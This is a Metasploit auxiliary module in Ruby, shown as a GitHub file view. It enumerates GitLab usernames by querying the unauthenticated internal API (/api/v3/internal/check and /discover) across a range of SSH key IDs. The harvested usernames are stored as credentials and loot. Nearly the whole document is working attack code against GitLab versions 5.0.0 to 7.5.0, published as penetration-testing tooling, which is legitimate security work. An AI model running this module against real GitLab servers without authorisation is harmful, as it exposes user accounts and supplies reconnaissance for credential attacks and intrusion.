/
gitlab_user_enum.rb
153 lines (131 loc) · 4.52 KB
/
gitlab_user_enum.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'json'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(
info,
'Name' => 'GitLab User Enumeration',
'Description' => "
The GitLab 'internal' API is exposed unauthenticated on GitLab. This
allows the username for each SSH Key ID number to be retrieved. Users
who do not have an SSH Key cannot be enumerated in this fashion. LDAP
users, e.g. Active Directory users will also be returned. This issue
was fixed in GitLab v7.5.0 and is present from GitLab v5.0.0.
",
'Author' => 'Ben Campbell',
'License' => MSF_LICENSE,
'DisclosureDate' => '2014-11-21',
'References' =>
[
['URL', 'https://labs.f-secure.com/archive/gitlab-user-enumeration/']
]
))
register_options(
[
OptString.new('TARGETURI', [ true, 'Path to GitLab instance', '/']),
OptInt.new('START_ID', [true, 'ID number to start from', 0]),
OptInt.new('END_ID', [true, 'ID number to enumerate up to', 50])
])
end
def run_host(_ip)
internal_api = '/api/v3/internal'
check = normalize_uri(target_uri.path, internal_api, 'check')
print_status('Sending GitLab version request...')
res = send_request_cgi(
'uri' => check
)
if res && res.code == 200 && res.body
begin
version = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to parse banner version from JSON')
end
git_version = version['gitlab_version']
git_revision = version['gitlab_rev']
print_good("GitLab version: #{git_version} revision: #{git_revision}")
service = report_service(
host: rhost,
port: rport,
name: (ssl ? 'https' : 'http'),
proto: 'tcp'
)
report_web_site(
host: rhost,
port: rport,
ssl: ssl,
info: "GitLab Version - #{git_version}"
)
elsif res && res.code == 401
fail_with(Failure::NotVulnerable, 'Unable to retrieve GitLab version...')
else
fail_with(Failure::Unknown, 'Unable to retrieve GitLab version...')
end
discover = normalize_uri(target_uri.path, internal_api, 'discover')
users = ''
print_status("Enumerating user keys #{datastore['START_ID']}-#{datastore['END_ID']}...")
datastore['START_ID'].upto(datastore['END_ID']) do |id|
res = send_request_cgi(
'uri' => discover,
'method' => 'GET',
'vars_get' => { 'key_id' => id }
)
if res && res.code == 200 && res.body
begin
user = JSON.parse(res.body)
username = user['username']
unless username.nil? || username.to_s.empty?
print_good("Key-ID: #{id} Username: #{username} Name: #{user['name']}")
store_username(username, res)
users << "#{username}\n"
end
rescue JSON::ParserError
print_error("Key-ID: #{id} - Unexpected response body: #{res.body}")
end
elsif res
vprint_status("Key-ID: #{id} not found")
else
print_error('Connection timed out...')
end
end
unless users.nil? || users.to_s.empty?
store_userlist(users, service)
end
end
def store_userlist(users, service)
loot = store_loot('gitlab.users', 'text/plain', rhost, users, nil, 'GitLab Users', service)
print_good("Userlist stored at #{loot}")
end
def store_username(username, res)
service = ssl ? 'https' : 'http'
service_data = {
address: rhost,
port: rport,
service_name: service,
protocol: 'tcp',
workspace_id: myworkspace_id,
proof: res
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: username
}
credential_data.merge!(service_data)
# Create the Metasploit::Credential::Core object
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
create_credential_login(login_data)
end
end